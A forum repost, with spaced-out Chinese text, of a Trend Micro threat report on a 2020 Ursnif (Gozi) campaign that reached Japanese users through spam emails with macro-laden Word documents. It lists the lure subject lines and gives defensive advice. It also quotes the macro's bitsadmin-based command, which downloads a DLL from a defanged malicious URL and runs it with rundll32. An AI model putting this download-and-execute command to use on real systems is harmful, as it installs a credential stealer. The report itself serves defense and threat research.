搜索

[28223] 2020-03-17_Ursnif恶意软件系列针对日本用户

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-03-17_Ursnif恶意软件系列针对日本用户 U r s n i f 恶 意 软 件 系 列 针 对 日 本 用 户 原 创   趋 势 科 技   O t s 安 全   2 0 2 0 - 0 3 - 1 7 趋 势 科 技 研 究 人 员 检 测 到 一 个 针 对 日 本 用 户 的 新 U r s n i f 广 告 系 列 。 该 恶 意 软 件 是 通 过 来 自 垃 圾 邮 件 的 受 感 染 M i c r o s o f t   W o r d 文 档 分 发 的 。 U r s n i f ， 也 称 为 G o z i ， 是 一 个 信 息 窃 取 者 ， 它 从 浏 览 器 和 电 子 邮 件 应 用 程 序 收 集 登 录 凭 据 。 它 具 有 监 视 网 络 流 量 ， 屏 幕 捕 获 和 按 键 记 录 的 功 能 。 它 通 过 垃 圾 邮 件 消 息 传 播 ， 或 者 被 其 他 恶 意 软 件 从 远 程 站 点 下 载 。 它 还 可 以 通 过 网 络 和 可 移 动 驱 动 器 传 播 。 像 许 多 其 他 恶 意 软 件 变 体 一 样 ， 这 些 年 来 ， U r s n i f 不 断 发 展 。 它 的 其 他 变 体 允 许 无 文 件 执 行 并 通 过 受 感 染 的 M i c r o s o f t   W o r d 文 档 文 件 进 行 传 播 ， 这 一 针 对 日 本 的 新 活 动 也 体 现 了 这 一 点 。 较 早 的 活 动 还 针 对 同 一 国 家 和 北 美 的 用 户 。 有 关 新 的 U r s n i f 广 告 系 列 的 详 细 信 息 趋 势 科 技 研 究 人 员 通 过 文 件 名 称 为 i n f o _ 0 3 _ 1 3 . d o c 的 受 感 染 W o r d 文 档 检 测 到 了 新 的 U r s n i f 活 动 。 该 文 件 包 含 一 个 宏 脚 本 ， 该 脚 本 创 建 了 b i t s a d m i n . e x e 的 副 本 ， 将 其 命 名 为 c u r l . c o m ， 并 执 行 此 命 令 ， 其 中 包 括 恶 意 U R L h x x p ： / / n e t f l e t d r i o l d . c o m / f 6 4 b j / j t r h s . p h p ？ l   =   g h s 2 . c a b   ： / c c : w i n d o w s t e m p c u r l . c o m   /   t r a n s f e r 作 业 名 称 h x x p ： / / n e t f l e t d r i o l d . c o m / f 6 4 b j / j t r h s . p h p ？ l   =   g h s 2 . c a b   c ：   w i n d o w s     t e m p     1 2 3 4 5 . d l l   & & r u n d l l 3 2   c ：   w i n d o w s     t e m p     1 2 3 4 5 . d l l ， D l l R e g i s t e r S e r v e r 图 1 . 用 于 传 播 U r s n i f 的 电 子 邮 件 附 件 示 例 使 用 电 子 邮 件 附 件 哈 希 进 行 的 进 一 步 调 查 导 致 了 其 他 电 子 邮 件 主 题 和 附 件 。 该 活 动 通 过 垃 圾 邮 件 进 行 传 播 ， 这 些 邮 件 的 主 题 与 商 业 交 易 有 关 ， 但 也 涉 及 捐 赠 ， 甚 至 娱 乐 活 动 。 附 件 是 包 含 恶 意 W o r d 文 档 的 Z I P 文 件 。
以 下 是 带 有 Z I P 文 件 附 件 的 电 子 邮 件 的 主 题 ， 这 些 电 子 邮 件 以 处 理 精 密 仪 器 的 公 司 命 名 ： 回 复 ： “ 数 値 化 ・ 测 定 机 能 ” を 强 化 し た ， 最 新 マ イ ク ロ ス コ ー プ P M A 1 9 6 9 （ 回 复 ： 具 有 增 强 的 “ 量 化 / 测 量 功 能 ” 的 最 新 显 微 镜 P M A 1 9 6 9 ） 回 复 ： “ え ？ こ ん な サ イ ズ の 寸 法 ， 测 れ る の ！ ！ ” 惊 き の ハ ン デ ィ 三 次 元 测 定 机 E M A 1 9 6 6 （ 回 复 ： “ 嗯 ， 我 可 以 测 量 这 个 尺 寸 吗 ？ ”   A m a z i n g   H a n d y   C M M   E M A 1 9 6 6 ） 回 复 ： 【 外 観 検 查 】 あ ら ゆ る 欠 陥 を 1 度 の 検 查 で 検 出 し ま す （ 回 复 ： [ 外 观 检 查 ] 一 次 检 查 中 发 现 所 有 缺 陷 ）   回 复 ： ポ イ ン ト サ ー ビ ス 规 定 に ご 同 意 い た だ い て い な い か た へ （ 回 复 ： 对 于 不 同 意 积 分 服 务 规 则 的 人 ）                                     R e ： 见 た 目 そ の ま ま 。 カ タ チ も そ の ま ま 3 D ス キ ャ ニ ン グ P M A 1 9 6 6 （ R e ： 请 看 。 3 D 扫 描 为 P M A 1 9 6 6 ） 以 下 是 带 有 Z I P 文 件 附 件 的 电 子 邮 件 的 主 题 ， 该 电 子 邮 件 以 金 融 服 务 公 司 的 名 字 命 名 （ 以 下 表 示 为 “ 公 司 名 称 ” ） 。 该 电 子 邮 件 还 包 含 一 个 U R L ： 回 复 ： お 申 込 み 必 须 ！ 豪 华 グ ル メ が 盛 り だ く さ ん ！ 1 0 月 は 秋 の 美 食 キ ャ ン ペ ー ン 开 催 决 定 ！ 名 称 ] ） 以 下 是 带 有 Z I P 文 件 附 件 的 电 子 邮 件 的 主 题 ， 这 些 电 子 邮 件 以 另 一 家 公 司 的 名 字 命 名 （ 以 下 表 示 为 “ 公 司 名 称 ” ） ： 回 复 ： 固 件 ： [ 公 司 名 称 ]   3 A A 通 信 试 験 （ 回 复 ： 固 件 ： [ 公 司 名 称 ]   3 A A 通 信 测 试 ） 回 复 ： R E ： [ 公 司 名 称 ]   3 A A ス ケ ジ ュ ー ル （ 回 复 ： R E ： [ 公 司 名 称 ]   3 A A 附 表 ） 回 复 ： リ ン ク ア ド レ ス の 件 及 び 明 日 の 集 合 时 间 （ 回 复 ： 链 接 地 址 和 明 天 的 开 会 时 间 ） 以 下 是 带 有 Z I P 文 件 附 件 的 电 子 邮 件 的 主 题 ， 这 些 电 子 邮 件 以 另 一 家 公 司 的 名 字 命 名 。 电 子 邮 件 包 含 嵌 入 式 链 接 。 （ 以 下 使 用 “ 城 市 名 称 ， 地 区 名 称 ” 代 替 城 市 和 县 的 实 际 名 称 ） ： 回 复 ： 【 新 作 资 料 】 新 し い 外 観 検 查 手 法 を ご 前 进 ！ 3 つ の 撮 像 モ ー ド で 圧 倒 的 な 対 応 力 （ 回 复 ： [ 新 材 料 ] 提 出 一 种 新 的 外 观 检 查 方 法 ！ 在 三 种 成 像 模 式 下 反 应 异 常 ） 回 复 ： 【 城 市 名 称 ， 地 区 名 称 】 ふ る さ と 応 援 助 寄 付 お 申 お 顶 き ま し て 有 难 う ご ざ い ま す （ 回 复 ： [ 城 市 名 称 ， 地 区 名 称 ] 谢 谢 您 申 请 故 乡 支 援 捐 款 ） 回 复 ： セ ン サ メ ー カ ー が 作 っ た 『 セ ン サ の 教 科 书 』 （ 回 复 ： 传 感 器 制 造 商 制 作 的 “ 传 感 器 教 科 书 ” ） R e ： 精 度 を 上 げ て ， 管 理 工 数 を 下 げ る ！ 测 定 ・ 検 查 改 善 事 例 （ R e ： 提 高 准 确 性 并 减 少 工 时 ！ 测 量 和 检 查 改 进 示 例 ） 阻 止 阻 止 U r s n i f 恶 意 软 件 恶 意 软 件 通 过 遵 循 简 单 的 安 全 准 则 ， 企 业 和 用 户 可 以 在 U r s n i f 有 机 会 嗅 出 有 价 值 的 信 息 之 前 对 其 进 行 阻 止 。 推 广 这 些 准 则 的 一 种 方 法 是 就 有 关 基 于 电 子 邮 件 的 威 胁 的 最 佳 做 法 进 行 办 公 室 培 训 。 作 为 基 本 规 则 ， 员 工 应 仔 细 检 查 电 子 邮 件 和 U R L ， 并 且 不 应 下 载 附 件 并 单 击 来 自 未 知 来 源 的 链 接 。 为 了 获 得 更 强 大 的 保 护 ， 趋 势 科 技 的 电 子 邮 件 和 协 作 解 决 方 案 可 以 帮 助 防 止 垃 圾 邮 件 ， 甚 至 还 可 以 防 御 网 络 钓 鱼 ， 勒 索 软 件 和 商 业 电 子 邮 件 泄 露 （ B E C ） 等 其 他 威 胁 。 在 趋 势 科 技 ™ 深 层 发 现 ™ 督 察 解 决 方 案 使 用 沙 盒 定 制 隔 离 ， 在 不 损 害 整 个 网 络 分 析 潜 在 的 恶 意 组 件 。 它 使 用 以 下 规 则 主 动 检 测 U r s n i f 的 命 令 和 服 务 器 连 接 ： D D I 规 则 ： U R S N I F - H T T P （ 请 求 ） - 变 体 3

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理